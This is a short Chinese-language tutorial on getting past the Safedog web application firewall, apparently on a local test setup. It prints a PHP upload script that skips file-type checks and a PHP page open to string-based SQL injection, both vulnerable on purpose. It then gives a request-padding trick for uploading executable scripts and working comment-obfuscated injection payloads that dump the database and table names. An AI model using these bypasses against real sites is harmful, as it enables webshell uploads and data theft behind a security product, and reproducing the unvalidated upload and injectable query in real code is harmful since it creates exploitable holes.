一，绕过安全狗上传可执行脚本
附上php上传脚本源码，此源码未对上传文件类型做校验
<?php
move_uploaded_file($_FILES["file"]["tmp_name"],"./" . $_FILES["file"]["name"]);
echo "Stored in: " . "./" . $_FILES["file"]["name"];
?>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="Submit" />
</form>
-------------
绕过方法，工具：burpsuite
1,用 php脚本或者js，python等其他语言，生成48930个字符
<?php
for ($i=0; $i <= 48930; $i++) {
echo 'o';
}
?>
2,抓包，改包
3，添加后如图：
4，查看当前目录，上传成功1
二，sql注入绕过安全狗
1，测试文件，明显的字符型 SQL注入
<?php
header("Content-type: text/html; charset=utf-8");
$link = mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$sql = "select * from cms where id='{$_GET['id']}'";
echo $sql;
echo '<br>-----------------------------<br>';
$res = mysql_query($sql);
while ( $rows = mysql_fetch_array($res)) {
echo $rows[0];
echo $rows[1];
echo $rows[2];
}
?>
2，正常运行界面
3，添加注入测试语句
http://localhost/waf123.php?id=3' and 1=1 --+
4，修改测试语句
http://localhost/waf123.php?id=3'/*!and*/%202e1/**/=2e1--+
5,暴库
http://localhost/waf123.php?id=2e1'/*!and*/ 2e1/**/=2e1union(/*.1112*//**//*!*/(select@1/**/,2,database/**/(),4,5))--+
6，爆表
http://localhost/waf123.php?id=2e1'/*!and*/ 2e1/**/=2e1union(/*.1112*//**//*!*/(select@1/**/,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=0x74657374))--+
